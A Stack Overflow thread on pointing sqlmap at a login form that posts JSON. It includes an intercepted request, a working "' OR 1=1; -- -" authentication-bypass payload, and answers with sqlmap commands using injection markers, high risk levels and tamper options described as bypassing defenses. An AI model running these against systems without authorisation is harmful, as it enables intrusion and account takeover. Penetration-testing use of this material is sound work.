SQLMAP - Post JSON data as body

Question

Hi I'm trying to do a SQL injection in a login form.

With BurpSuite I intercept the request:

POST /xxxx/web/Login HTTP/1.1
Host: 10.0.0.70:42020
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: application/json, text/plain, */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Referer: http://xxxxxx.com/xxxxxx/
Content-Length: 44
origin: http://xxxxx.com
Connection: close

{"username”:"user",”password”:"pass"}

using:

sqlmap -u requestFile

(where requestFile is the content of the request intercepted with Burp)

sqlmap can't find the injectable field that is password.

I'm sure that's it's injectable cause if as password I input:

' OR 1=1; -- -

I can login with every username I insert

Tried also with:

{"username”:*,”password”:*}

but no luck.

What I'm doing wrong?

This question may be better suited for http://security.stackexchange.com/ but as it's kind of a middleground I'm not voting to close here. You would probably get more answers there though. — Gabor Lengyel, Nov 17 '16 at 12:42
Ok posted also in [security.stackexchange.com](http://security.stackexchange.com/) — ronIDX, Nov 17 '16 at 13:04

score 16 · Answer 1 · answered Feb 09 '21 at 18:25

Example:

POST / HTTP/1.1
Host: www.example.com

{"username":"*", "password":"*"}

Saved as sqlrequest.txt

Can then initiate a test using this command:

py sqlmap.py -r sqlrequest.txt --level=5 risk=3 --force-ssl

You should then receive a prompt that a custom injection marker is found and that JSON data found in POST body. Process both and then you are good to go.

Sources:

https://security.stackexchange.com/a/150506/67046

https://security.stackexchange.com/a/51862/67046

score 0 · Answer 2 · answered Jun 20 '23 at 15:12

the answer given by Ogglas was really good, I just want to mention that if you go further into the sqlmap options, for example --random-agent, --time-sec and -tamper would help you to be effective and bypass some defenses ;)

sqlmap -r sqli.txt --time-sec=5 --random-agent -tamper=between,space2comment

score -1 · Accepted Answer · edited Jun 28 '19 at 14:28

-1

sqlmap -u URL

sqlmap -r requestFile

Tutorial on how to use request

check this video

edited Jun 28 '19 at 14:28

Henrik Sachse

51,228
7
46
59

answered Mar 20 '17 at 16:01

Txomin

70
1

5

Welcome to StackOverflow. This answer should be improved by adding in a description on what the code items are doing, or an explanation of why this solution works. – Steven Mar 20 '17 at 16:22

SQLMAP - Post JSON data as body

3 Answers3